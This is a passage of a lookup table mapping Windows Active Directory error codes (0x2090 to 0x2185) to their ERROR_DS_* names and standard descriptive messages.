0x00002090: ("ERROR_DS_ALIAS_POINTS_TO_ALIAS", "It is not permitted for an alias to refer to another alias."),
0x00002091: ("ERROR_DS_CANT_DEREF_ALIAS", "The alias cannot be dereferenced."),
0x00002092: ("ERROR_DS_OUT_OF_SCOPE", "The operation is out of scope."),
0x00002093: ("ERROR_DS_OBJECT_BEING_REMOVED", "The operation cannot continue because the object is in the process of being removed."),
0x00002094: ("ERROR_DS_CANT_DELETE_DSA_OBJ", "The DSA object cannot be deleted."),
0x00002095: ("ERROR_DS_GENERIC_ERROR", "A directory service error has occurred."),
0x00002096: ("ERROR_DS_DSA_MUST_BE_INT_MASTER", "The operation can only be performed on an internal master DSA object."),
0x00002097: ("ERROR_DS_CLASS_NOT_DSA", "The object must be of class DSA."),
0x00002098: ("ERROR_DS_INSUFF_ACCESS_RIGHTS", "Insufficient access rights to perform the operation."),
0x00002099: ("ERROR_DS_ILLEGAL_SUPERIOR", "The object cannot be added because the parent is not on the list of possible superiors."),
0x0000209a: ("ERROR_DS_ATTRIBUTE_OWNED_BY_SAM", "Access to the attribute is not permitted because the attribute is owned by the Security Accounts Manager (SAM)."),
0x0000209b: ("ERROR_DS_NAME_TOO_MANY_PARTS", "The name has too many parts."),
0x0000209c: ("ERROR_DS_NAME_TOO_LONG", "The name is too long."),
0x0000209d: ("ERROR_DS_NAME_VALUE_TOO_LONG", "The name value is too long."),
0x0000209e: ("ERROR_DS_NAME_UNPARSEABLE", "The directory service encountered an error parsing a name."),
0x0000209f: ("ERROR_DS_NAME_TYPE_UNKNOWN", "The directory service cannot get the attribute type for a name."),
0x000020a0: ("ERROR_DS_NOT_AN_OBJECT", "The name does not identify an object; the name identifies a phantom."),
0x000020a1: ("ERROR_DS_SEC_DESC_TOO_SHORT", "The security descriptor is too short."),
0x000020a2: ("ERROR_DS_SEC_DESC_INVALID", "The security descriptor is invalid."),
0x000020a3: ("ERROR_DS_NO_DELETED_NAME", "Failed to create name for deleted object."),
0x000020a4: ("ERROR_DS_SUBREF_MUST_HAVE_PARENT", "The parent of a new subref must exist."),
0x000020a5: ("ERROR_DS_NCNAME_MUST_BE_NC", "The object must be a naming context."),
0x000020a6: ("ERROR_DS_CANT_ADD_SYSTEM_ONLY", "It is not permitted to add an attribute which is owned by the system."),
0x000020a7: ("ERROR_DS_CLASS_MUST_BE_CONCRETE", "The class of the object must be structural; you cannot instantiate an abstract class."),
0x000020a8: ("ERROR_DS_INVALID_DMD", "The schema object could not be found."),
0x000020a9: ("ERROR_DS_OBJ_GUID_EXISTS", "A local object with this GUID (dead or alive) already exists."),
0x000020aa: ("ERROR_DS_NOT_ON_BACKLINK", "The operation cannot be performed on a back link."),
0x000020ab: ("ERROR_DS_NO_CROSSREF_FOR_NC", "The cross reference for the specified naming context could not be found."),
0x000020ac: ("ERROR_DS_SHUTTING_DOWN", "The operation could not be performed because the directory service is shutting down."),
0x000020ad: ("ERROR_DS_UNKNOWN_OPERATION", "The directory service request is invalid."),
0x000020ae: ("ERROR_DS_INVALID_ROLE_OWNER", "The role owner attribute could not be read."),
0x000020af: ("ERROR_DS_COULDNT_CONTACT_FSMO", "The requested FSMO operation failed. The current FSMO holder could not be contacted."),
0x000020b0: ("ERROR_DS_CROSS_NC_DN_RENAME", "Modification of a DN across a naming context is not permitted."),
0x000020b1: ("ERROR_DS_CANT_MOD_SYSTEM_ONLY", "The attribute cannot be modified because it is owned by the system."),
0x000020b2: ("ERROR_DS_REPLICATOR_ONLY", "Only the replicator can perform this function."),
0x000020b3: ("ERROR_DS_OBJ_CLASS_NOT_DEFINED", "The specified class is not defined."),
0x000020b4: ("ERROR_DS_OBJ_CLASS_NOT_SUBCLASS", "The specified class is not a subclass."),
0x000020b5: ("ERROR_DS_NAME_REFERENCE_INVALID", "The name reference is invalid."),
0x000020b6: ("ERROR_DS_CROSS_REF_EXISTS", "A cross reference already exists."),
0x000020b7: ("ERROR_DS_CANT_DEL_MASTER_CROSSREF", "It is not permitted to delete a master cross reference."),
0x000020b8: ("ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD", "Subtree notifications are only supported on NC heads."),
0x000020b9: ("ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX", "Notification filter is too complex."),
0x000020ba: ("ERROR_DS_DUP_RDN", "Schema update failed: duplicate RDN."),
0x000020bb: ("ERROR_DS_DUP_OID", "Schema update failed: duplicate OID."),
0x000020bc: ("ERROR_DS_DUP_MAPI_ID", "Schema update failed: duplicate MAPI identifier."),
0x000020bd: ("ERROR_DS_DUP_SCHEMA_ID_GUID", "Schema update failed: duplicate schema-id GUID."),
0x000020be: ("ERROR_DS_DUP_LDAP_DISPLAY_NAME", "Schema update failed: duplicate LDAP display name."),
0x000020bf: ("ERROR_DS_SEMANTIC_ATT_TEST", "Schema update failed: range-lower less than range upper."),
0x000020c0: ("ERROR_DS_SYNTAX_MISMATCH", "Schema update failed: syntax mismatch."),
0x000020c1: ("ERROR_DS_EXISTS_IN_MUST_HAVE", "Schema deletion failed: attribute is used in must-contain."),
0x000020c2: ("ERROR_DS_EXISTS_IN_MAY_HAVE", "Schema deletion failed: attribute is used in may-contain."),
0x000020c3: ("ERROR_DS_NONEXISTENT_MAY_HAVE", "Schema update failed: attribute in may-contain does not exist."),
0x000020c4: ("ERROR_DS_NONEXISTENT_MUST_HAVE", "Schema update failed: attribute in must-contain does not exist."),
0x000020c5: ("ERROR_DS_AUX_CLS_TEST_FAIL", "Schema update failed: class in aux-class list does not exist or is not an auxiliary class."),
0x000020c6: ("ERROR_DS_NONEXISTENT_POSS_SUP", "Schema update failed: class in poss-superiors does not exist."),
0x000020c7: ("ERROR_DS_SUB_CLS_TEST_FAIL", "Schema update failed: class in subclassof list does not exist or does not satisfy hierarchy rules."),
0x000020c8: ("ERROR_DS_BAD_RDN_ATT_ID_SYNTAX", "Schema update failed: Rdn-Att-Id has wrong syntax."),
0x000020c9: ("ERROR_DS_EXISTS_IN_AUX_CLS", "Schema deletion failed: class is used as auxiliary class."),
0x000020ca: ("ERROR_DS_EXISTS_IN_SUB_CLS", "Schema deletion failed: class is used as sub class."),
0x000020cb: ("ERROR_DS_EXISTS_IN_POSS_SUP", "Schema deletion failed: class is used as poss superior."),
0x000020cc: ("ERROR_DS_RECALCSCHEMA_FAILED", "Schema update failed in recalculating validation cache."),
0x000020cd: ("ERROR_DS_TREE_DELETE_NOT_FINISHED", "The tree deletion is not finished. The request must be made again to continue deleting the tree."),
0x000020ce: ("ERROR_DS_CANT_DELETE", "The requested delete operation could not be performed."),
0x000020cf: ("ERROR_DS_ATT_SCHEMA_REQ_ID", "Cannot read the governs class identifier for the schema record."),
0x000020d0: ("ERROR_DS_BAD_ATT_SCHEMA_SYNTAX", "The attribute schema has bad syntax."),
0x000020d1: ("ERROR_DS_CANT_CACHE_ATT", "The attribute could not be cached."),
0x000020d2: ("ERROR_DS_CANT_CACHE_CLASS", "The class could not be cached."),
0x000020d3: ("ERROR_DS_CANT_REMOVE_ATT_CACHE", "The attribute could not be removed from the cache."),
0x000020d4: ("ERROR_DS_CANT_REMOVE_CLASS_CACHE", "The class could not be removed from the cache."),
0x000020d5: ("ERROR_DS_CANT_RETRIEVE_DN", "The distinguished name attribute could not be read."),
0x000020d6: ("ERROR_DS_MISSING_SUPREF", "No superior reference has been configured for the directory service. The directory service is therefore unable to issue referrals to objects outside this forest."),
0x000020d7: ("ERROR_DS_CANT_RETRIEVE_INSTANCE", "The instance type attribute could not be retrieved."),
0x000020d8: ("ERROR_DS_CODE_INCONSISTENCY", "An internal error has occurred."),
0x000020d9: ("ERROR_DS_DATABASE_ERROR", "A database error has occurred."),
0x000020da: ("ERROR_DS_GOVERNSID_MISSING", "The attribute GOVERNSID is missing."),
0x000020db: ("ERROR_DS_MISSING_EXPECTED_ATT", "An expected attribute is missing."),
0x000020dc: ("ERROR_DS_NCNAME_MISSING_CR_REF", "The specified naming context is missing a cross reference."),
0x000020dd: ("ERROR_DS_SECURITY_CHECKING_ERROR", "A security checking error has occurred."),
0x000020de: ("ERROR_DS_SCHEMA_NOT_LOADED", "The schema is not loaded."),
0x000020df: ("ERROR_DS_SCHEMA_ALLOC_FAILED", "Schema allocation failed. Please check if the machine is running low on memory."),
0x000020e0: ("ERROR_DS_ATT_SCHEMA_REQ_SYNTAX", "Failed to obtain the required syntax for the attribute schema."),
0x000020e1: ("ERROR_DS_GCVERIFY_ERROR", "The global catalog verification failed. The global catalog is not available or does not support the operation. Some part of the directory is currently not available."),
0x000020e2: ("ERROR_DS_DRA_SCHEMA_MISMATCH", "The replication operation failed because of a schema mismatch between the servers involved."),
0x000020e3: ("ERROR_DS_CANT_FIND_DSA_OBJ", "The DSA object could not be found."),
0x000020e4: ("ERROR_DS_CANT_FIND_EXPECTED_NC", "The naming context could not be found."),
0x000020e5: ("ERROR_DS_CANT_FIND_NC_IN_CACHE", "The naming context could not be found in the cache."),
0x000020e6: ("ERROR_DS_CANT_RETRIEVE_CHILD", "The child object could not be retrieved."),
0x000020e7: ("ERROR_DS_SECURITY_ILLEGAL_MODIFY", "The modification was not permitted for security reasons."),
0x000020e8: ("ERROR_DS_CANT_REPLACE_HIDDEN_REC", "The operation cannot replace the hidden record."),
0x000020e9: ("ERROR_DS_BAD_HIERARCHY_FILE", "The hierarchy file is invalid."),
0x000020ea: ("ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED", "The attempt to build the hierarchy table failed."),
0x000020eb: ("ERROR_DS_CONFIG_PARAM_MISSING", "The directory configuration parameter is missing from the registry."),
0x000020ec: ("ERROR_DS_COUNTING_AB_INDICES_FAILED", "The attempt to count the address book indices failed."),
0x000020ed: ("ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED", "The allocation of the hierarchy table failed."),
0x000020ee: ("ERROR_DS_INTERNAL_FAILURE", "The directory service encountered an internal failure."),
0x000020ef: ("ERROR_DS_UNKNOWN_ERROR", "The directory service encountered an unknown failure."),
0x000020f0: ("ERROR_DS_ROOT_REQUIRES_CLASS_TOP", "A root object requires a class of 'top'."),
0x000020f1: ("ERROR_DS_REFUSING_FSMO_ROLES", "This directory server is shutting down, and cannot take ownership of new floating single-master operation roles."),
0x000020f2: ("ERROR_DS_MISSING_FSMO_SETTINGS", "The directory service is missing mandatory configuration information, and is unable to determine the ownership of floating single-master operation roles."),
0x000020f3: ("ERROR_DS_UNABLE_TO_SURRENDER_ROLES", "The directory service was unable to transfer ownership of one or more floating single-master operation roles to other servers."),
0x000020f4: ("ERROR_DS_DRA_GENERIC", "The replication operation failed."),
0x000020f5: ("ERROR_DS_DRA_INVALID_PARAMETER", "An invalid parameter was specified for this replication operation."),
0x000020f6: ("ERROR_DS_DRA_BUSY", "The directory service is too busy to complete the replication operation at this time."),
0x000020f7: ("ERROR_DS_DRA_BAD_DN", "The distinguished name specified for this replication operation is invalid."),
0x000020f8: ("ERROR_DS_DRA_BAD_NC", "The naming context specified for this replication operation is invalid."),
0x000020f9: ("ERROR_DS_DRA_DN_EXISTS", "The distinguished name specified for this replication operation already exists."),
0x000020fa: ("ERROR_DS_DRA_INTERNAL_ERROR", "The replication system encountered an internal error."),
0x000020fb: ("ERROR_DS_DRA_INCONSISTENT_DIT", "The replication operation encountered a database inconsistency."),
0x000020fc: ("ERROR_DS_DRA_CONNECTION_FAILED", "The server specified for this replication operation could not be contacted."),
0x000020fd: ("ERROR_DS_DRA_BAD_INSTANCE_TYPE", "The replication operation encountered an object with an invalid instance type."),
0x000020fe: ("ERROR_DS_DRA_OUT_OF_MEM", "The replication operation failed to allocate memory."),
0x000020ff: ("ERROR_DS_DRA_MAIL_PROBLEM", "The replication operation encountered an error with the mail system."),
0x00002100: ("ERROR_DS_DRA_REF_ALREADY_EXISTS", "The replication reference information for the target server already exists."),
0x00002101: ("ERROR_DS_DRA_REF_NOT_FOUND", "The replication reference information for the target server does not exist."),
0x00002102: ("ERROR_DS_DRA_OBJ_IS_REP_SOURCE", "The naming context cannot be removed because it is replicated to another server."),
0x00002103: ("ERROR_DS_DRA_DB_ERROR", "The replication operation encountered a database error."),
0x00002104: ("ERROR_DS_DRA_NO_REPLICA", "The naming context is in the process of being removed or is not replicated from the specified server."),
0x00002105: ("ERROR_DS_DRA_ACCESS_DENIED", "Replication access was denied."),
0x00002106: ("ERROR_DS_DRA_NOT_SUPPORTED", "The requested operation is not supported by this version of the directory service."),
0x00002107: ("ERROR_DS_DRA_RPC_CANCELLED", "The replication remote procedure call was cancelled."),
0x00002108: ("ERROR_DS_DRA_SOURCE_DISABLED", "The source server is currently rejecting replication requests."),
0x00002109: ("ERROR_DS_DRA_SINK_DISABLED", "The destination server is currently rejecting replication requests."),
0x0000210a: ("ERROR_DS_DRA_NAME_COLLISION", "The replication operation failed due to a collision of object names."),
0x0000210b: ("ERROR_DS_DRA_SOURCE_REINSTALLED", "The replication source has been reinstalled."),
0x0000210c: ("ERROR_DS_DRA_MISSING_PARENT", "The replication operation failed because a required parent object is missing."),
0x0000210d: ("ERROR_DS_DRA_PREEMPTED", "The replication operation was preempted."),
0x0000210e: ("ERROR_DS_DRA_ABANDON_SYNC", "The replication synchronization attempt was abandoned because of a lack of updates."),
0x0000210f: ("ERROR_DS_DRA_SHUTDOWN", "The replication operation was terminated because the system is shutting down."),
0x00002110: ("ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET", "Synchronization attempt failed because the destination DC is currently waiting to synchronize new partial attributes from source. This condition is normal if a recent schema change modified the partial attribute set. The destination partial attribute set is not a subset of source partial attribute set."),
0x00002111: ("ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA", "The replication synchronization attempt failed because a master replica attempted to sync from a partial replica."),
0x00002112: ("ERROR_DS_DRA_EXTN_CONNECTION_FAILED", "The server specified for this replication operation was contacted, but that server was unable to contact an additional server needed to complete the operation."),
0x00002113: ("ERROR_DS_INSTALL_SCHEMA_MISMATCH", "The version of the directory service schema of the source forest is not compatible with the version of directory service on this computer."),
0x00002114: ("ERROR_DS_DUP_LINK_ID", "Schema update failed: An attribute with the same link identifier already exists."),
0x00002115: ("ERROR_DS_NAME_ERROR_RESOLVING", "Name translation: Generic processing error."),
0x00002116: ("ERROR_DS_NAME_ERROR_NOT_FOUND", "Name translation: Could not find the name or insufficient right to see name."),
0x00002117: ("ERROR_DS_NAME_ERROR_NOT_UNIQUE", "Name translation: Input name mapped to more than one output name."),
0x00002118: ("ERROR_DS_NAME_ERROR_NO_MAPPING", "Name translation: Input name found, but not the associated output format."),
0x00002119: ("ERROR_DS_NAME_ERROR_DOMAIN_ONLY", "Name translation: Unable to resolve completely, only the domain was found."),
0x0000211a: ("ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING", "Name translation: Unable to perform purely syntactical mapping at the client without going out to the wire."),
0x0000211b: ("ERROR_DS_CONSTRUCTED_ATT_MOD", "Modification of a constructed attribute is not allowed."),
0x0000211c: ("ERROR_DS_WRONG_OM_OBJ_CLASS", "The OM-Object-Class specified is incorrect for an attribute with the specified syntax."),
0x0000211d: ("ERROR_DS_DRA_REPL_PENDING", "The replication request has been posted; waiting for reply."),
0x0000211e: ("ERROR_DS_DS_REQUIRED", "The requested operation requires a directory service, and none was available."),
0x0000211f: ("ERROR_DS_INVALID_LDAP_DISPLAY_NAME", "The LDAP display name of the class or attribute contains non-ASCII characters."),
0x00002120: ("ERROR_DS_NON_BASE_SEARCH", "The requested search operation is only supported for base searches."),
0x00002121: ("ERROR_DS_CANT_RETRIEVE_ATTS", "The search failed to retrieve attributes from the database."),
0x00002122: ("ERROR_DS_BACKLINK_WITHOUT_LINK", "The schema update operation tried to add a backward link attribute that has no corresponding forward link."),
0x00002123: ("ERROR_DS_EPOCH_MISMATCH", "Source and destination of a cross-domain move do not agree on the object's epoch number. Either source or destination does not have the latest version of the object."),
0x00002124: ("ERROR_DS_SRC_NAME_MISMATCH", "Source and destination of a cross-domain move do not agree on the object's current name. Either source or destination does not have the latest version of the object."),
0x00002125: ("ERROR_DS_SRC_AND_DST_NC_IDENTICAL", "Source and destination for the cross-domain move operation are identical. Caller should use local move operation instead of cross-domain move operation."),
0x00002126: ("ERROR_DS_DST_NC_MISMATCH", "Source and destination for a cross-domain move are not in agreement on the naming contexts in the forest. Either source or destination does not have the latest version of the Partitions container."),
0x00002127: ("ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC", "Destination of a cross-domain move is not authoritative for the destination naming context."),
0x00002128: ("ERROR_DS_SRC_GUID_MISMATCH", "Source and destination of a cross-domain move do not agree on the identity of the source object. Either source or destination does not have the latest version of the source object."),
0x00002129: ("ERROR_DS_CANT_MOVE_DELETED_OBJECT", "Object being moved across-domains is already known to be deleted by the destination server. The source server does not have the latest version of the source object."),
0x0000212a: ("ERROR_DS_PDC_OPERATION_IN_PROGRESS", "Another operation which requires exclusive access to the PDC FSMO is already in progress."),
0x0000212b: ("ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD", "A cross-domain move operation failed such that two versions of the moved object exist - one each in the source and destination domains. The destination object needs to be removed to restore the system to a consistent state."),
0x0000212c: ("ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION", "This object may not be moved across domain boundaries either because cross-domain moves for this class are disallowed, or the object has some special characteristics, e.g.: trust account or restricted RID, which prevent its move."),
0x0000212d: ("ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS", "Can't move objects with memberships across domain boundaries as once moved, this would violate the membership conditions of the account group. Remove the object from any account group memberships and retry."),
0x0000212e: ("ERROR_DS_NC_MUST_HAVE_NC_PARENT", "A naming context head must be the immediate child of another naming context head, not of an interior node."),
0x0000212f: ("ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE", "The directory cannot validate the proposed naming context name because it does not hold a replica of the naming context above the proposed naming context. Please ensure that the domain naming master role is held by a server that is configured as a global catalog server, and that the server is up to date with its replication partners. (Applies only to Windows 2000 Domain Naming masters)"),
0x00002130: ("ERROR_DS_DST_DOMAIN_NOT_NATIVE", "Destination domain must be in native mode."),
0x00002131: ("ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER", "The operation cannot be performed because the server does not have an infrastructure container in the domain of interest."),
0x00002132: ("ERROR_DS_CANT_MOVE_ACCOUNT_GROUP", "Cross-domain move of non-empty account groups is not allowed."),
0x00002133: ("ERROR_DS_CANT_MOVE_RESOURCE_GROUP", "Cross-domain move of non-empty resource groups is not allowed."),
0x00002134: ("ERROR_DS_INVALID_SEARCH_FLAG", "The search flags for the attribute are invalid. The ANR bit is valid only on attributes of Unicode or Teletex strings."),
0x00002135: ("ERROR_DS_NO_TREE_DELETE_ABOVE_NC", "Tree deletions starting at an object which has an NC head as a descendant are not allowed."),
0x00002136: ("ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE", "The directory service failed to lock a tree in preparation for a tree deletion because the tree was in use."),
0x00002137: ("ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE", "The directory service failed to identify the list of objects to delete while attempting a tree deletion."),
0x00002138: ("ERROR_DS_SAM_INIT_FAILURE", "Security Accounts Manager initialization failed because of the following error: %1."),
0x00002139: ("ERROR_DS_SENSITIVE_GROUP_VIOLATION", "Only an administrator can modify the membership list of an administrative group."),
0x0000213a: ("ERROR_DS_CANT_MOD_PRIMARYGROUPID", "Cannot change the primary group ID of a domain controller account."),
0x0000213b: ("ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD", "An attempt is made to modify the base schema."),
0x0000213c: ("ERROR_DS_NONSAFE_SCHEMA_CHANGE", "Adding a new mandatory attribute to an existing class, deleting a mandatory attribute from an existing class, or adding an optional attribute to the special class Top that is not a backlink attribute (directly or through inheritance, for example, by adding or deleting an auxiliary class) is not allowed."),
0x0000213d: ("ERROR_DS_SCHEMA_UPDATE_DISALLOWED", "Schema update is not allowed on this DC because the DC is not the schema FSMO Role Owner."),
0x0000213e: ("ERROR_DS_CANT_CREATE_UNDER_SCHEMA", "An object of this class cannot be created under the schema container. You can only create attribute-schema and class-schema objects under the schema container."),
0x0000213f: ("ERROR_DS_INSTALL_NO_SRC_SCH_VERSION", "The replica/child install failed to get the objectVersion attribute on the schema container on the source DC. Either the attribute is missing on the schema container or the credentials supplied do not have permission to read it."),
0x00002140: ("ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE", "The replica/child install failed to read the objectVersion attribute in the SCHEMA section of the file schema.ini in the system32 directory."),
0x00002141: ("ERROR_DS_INVALID_GROUP_TYPE", "The specified group type is invalid."),
0x00002142: ("ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN", "You cannot nest global groups in a mixed domain if the group is security-enabled."),
0x00002143: ("ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN", "You cannot nest local groups in a mixed domain if the group is security-enabled."),
0x00002144: ("ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER", "A global group cannot have a local group as a member."),
0x00002145: ("ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER", "A global group cannot have a universal group as a member."),
0x00002146: ("ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER", "A universal group cannot have a local group as a member."),
0x00002147: ("ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER", "A global group cannot have a cross-domain member."),
0x00002148: ("ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER", "A local group cannot have another cross domain local group as a member."),
0x00002149: ("ERROR_DS_HAVE_PRIMARY_MEMBERS", "A group with primary members cannot change to a security-disabled group."),
0x0000214a: ("ERROR_DS_STRING_SD_CONVERSION_FAILED", "The schema cache load failed to convert the string default SD on a class-schema object."),
0x0000214b: ("ERROR_DS_NAMING_MASTER_GC", "Only DSAs configured to be Global Catalog servers should be allowed to hold the Domain Naming Master FSMO role. (Applies only to Windows 2000 servers)"),
0x0000214c: ("ERROR_DS_DNS_LOOKUP_FAILURE", "The DSA operation is unable to proceed because of a DNS lookup failure."),
0x0000214d: ("ERROR_DS_COULDNT_UPDATE_SPNS", "While processing a change to the DNS Host Name for an object, the Service Principal Name values could not be kept in sync."),
0x0000214e: ("ERROR_DS_CANT_RETRIEVE_SD", "The Security Descriptor attribute could not be read."),
0x0000214f: ("ERROR_DS_KEY_NOT_UNIQUE", "The object requested was not found, but an object with that key was found."),
0x00002150: ("ERROR_DS_WRONG_LINKED_ATT_SYNTAX", "The syntax of the linked attribute being added is incorrect. Forward links can only have syntax 2.5.5.1, 2.5.5.7, and 2.5.5.14, and backlinks can only have syntax 2.5.5.1"),
0x00002151: ("ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD", "Security Account Manager needs to get the boot password."),
0x00002152: ("ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY", "Security Account Manager needs to get the boot key from floppy disk."),
0x00002153: ("ERROR_DS_CANT_START", "Directory Service cannot start."),
0x00002154: ("ERROR_DS_INIT_FAILURE", "Directory Services could not start."),
0x00002155: ("ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION", "The connection between client and server requires packet privacy or better."),
0x00002156: ("ERROR_DS_SOURCE_DOMAIN_IN_FOREST", "The source domain may not be in the same forest as destination."),
0x00002157: ("ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST", "The destination domain must be in the forest."),
0x00002158: ("ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED", "The operation requires that destination domain auditing be enabled."),
0x00002159: ("ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN", "The operation couldn't locate a DC for the source domain."),
0x0000215a: ("ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER", "The source object must be a group or user."),
0x0000215b: ("ERROR_DS_SRC_SID_EXISTS_IN_FOREST", "The source object's SID already exists in destination forest."),
0x0000215c: ("ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH", "The source and destination object must be of the same type."),
0x0000215d: ("ERROR_SAM_INIT_FAILURE", "Security Accounts Manager initialization failed because of the following error: %1."),
0x0000215e: ("ERROR_DS_DRA_SCHEMA_INFO_SHIP", "Schema information could not be included in the replication request."),
0x0000215f: ("ERROR_DS_DRA_SCHEMA_CONFLICT", "The replication operation could not be completed due to a schema incompatibility."),
0x00002160: ("ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT", "The replication operation could not be completed due to a previous schema incompatibility."),
0x00002161: ("ERROR_DS_DRA_OBJ_NC_MISMATCH", "The replication update could not be applied because either the source or the destination has not yet received information regarding a recent cross-domain move operation."),
0x00002162: ("ERROR_DS_NC_STILL_HAS_DSAS", "The requested domain could not be deleted because there exist domain controllers that still host this domain."),
0x00002163: ("ERROR_DS_GC_REQUIRED", "The requested operation can be performed only on a global catalog server."),
0x00002164: ("ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY", "A local group can only be a member of other local groups in the same domain."),
0x00002165: ("ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS", "Foreign security principals cannot be members of universal groups."),
0x00002166: ("ERROR_DS_CANT_ADD_TO_GC", "The attribute is not allowed to be replicated to the GC because of security reasons."),
0x00002167: ("ERROR_DS_NO_CHECKPOINT_WITH_PDC", "The checkpoint with the PDC could not be taken because there too many modifications being processed currently."),
0x00002168: ("ERROR_DS_SOURCE_AUDITING_NOT_ENABLED", "The operation requires that source domain auditing be enabled."),
0x00002169: ("ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC", "Security principal objects can only be created inside domain naming contexts."),
0x0000216a: ("ERROR_DS_INVALID_NAME_FOR_SPN", "A Service Principal Name (SPN) could not be constructed because the provided hostname is not in the necessary format."),
0x0000216b: ("ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS", "A Filter was passed that uses constructed attributes."),
0x0000216c: ("ERROR_DS_UNICODEPWD_NOT_IN_QUOTES", "The unicodePwd attribute value must be enclosed in double quotes."),
0x0000216d: ("ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED", "Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased."),
0x0000216e: ("ERROR_DS_MUST_BE_RUN_ON_DST_DC", "For security reasons, the operation must be run on the destination DC."),
0x0000216f: ("ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER", "For security reasons, the source DC must be NT4SP4 or greater."),
0x00002170: ("ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ", "Critical Directory Service System objects cannot be deleted during tree delete operations. The tree delete may have been partially performed."),
0x00002171: ("ERROR_DS_INIT_FAILURE_CONSOLE", "Directory Services could not start because of the following error: %1."),
0x00002172: ("ERROR_DS_SAM_INIT_FAILURE_CONSOLE", "Security Accounts Manager initialization failed because of the following error: %1."),
0x00002173: ("ERROR_DS_FOREST_VERSION_TOO_HIGH", "The version of the operating system is incompatible with the current AD DS forest functional level or AD LDS Configuration Set functional level. You must upgrade to a new version of the operating system before this server can become an AD DS Domain Controller or add an AD LDS Instance in this AD DS Forest or AD LDS Configuration Set."),
0x00002174: ("ERROR_DS_DOMAIN_VERSION_TOO_HIGH", "The version of the operating system installed is incompatible with the current domain functional level. You must upgrade to a new version of the operating system before this server can become a domain controller in this domain."),
0x00002175: ("ERROR_DS_FOREST_VERSION_TOO_LOW", "The version of the operating system installed on this server no longer supports the current AD DS Forest functional level or AD LDS Configuration Set functional level. You must raise the AD DS Forest functional level or AD LDS Configuration Set functional level before this server can become an AD DS Domain Controller or an AD LDS Instance in this Forest or Configuration Set."),
0x00002176: ("ERROR_DS_DOMAIN_VERSION_TOO_LOW", "The version of the operating system installed on this server no longer supports the current domain functional level. You must raise the domain functional level before this server can become a domain controller in this domain."),
0x00002177: ("ERROR_DS_INCOMPATIBLE_VERSION", "The version of the operating system installed on this server is incompatible with the functional level of the domain or forest."),
0x00002178: ("ERROR_DS_LOW_DSA_VERSION", "The functional level of the domain (or forest) cannot be raised to the requested value, because there exist one or more domain controllers in the domain (or forest) that are at a lower incompatible functional level."),
0x00002179: ("ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN", "The forest functional level cannot be raised to the requested value since one or more domains are still in mixed domain mode. All domains in the forest must be in native mode, for you to raise the forest functional level."),
0x0000217a: ("ERROR_DS_NOT_SUPPORTED_SORT_ORDER", "The sort order requested is not supported."),
0x0000217b: ("ERROR_DS_NAME_NOT_UNIQUE", "The requested name already exists as a unique identifier."),
0x0000217c: ("ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4", "The machine account was created pre-NT4. The account needs to be recreated."),
0x0000217d: ("ERROR_DS_OUT_OF_VERSION_STORE", "The database is out of version store."),
0x0000217e: ("ERROR_DS_INCOMPATIBLE_CONTROLS_USED", "Unable to continue operation because multiple conflicting controls were used."),
0x0000217f: ("ERROR_DS_NO_REF_DOMAIN", "Unable to find a valid security descriptor reference domain for this partition."),
0x00002180: ("ERROR_DS_RESERVED_LINK_ID", "Schema update failed: The link identifier is reserved."),
0x00002181: ("ERROR_DS_LINK_ID_NOT_AVAILABLE", "Schema update failed: There are no link identifiers available."),
0x00002182: ("ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER", "An account group cannot have a universal group as a member."),
0x00002183: ("ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE", "Rename or move operations on naming context heads or read-only objects are not allowed."),
0x00002184: ("ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC", "Move operations on objects in the schema naming context are not allowed."),
0x00002185: ("ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG", "A system flag has been set on the object and does not allow the object to be moved or renamed."),
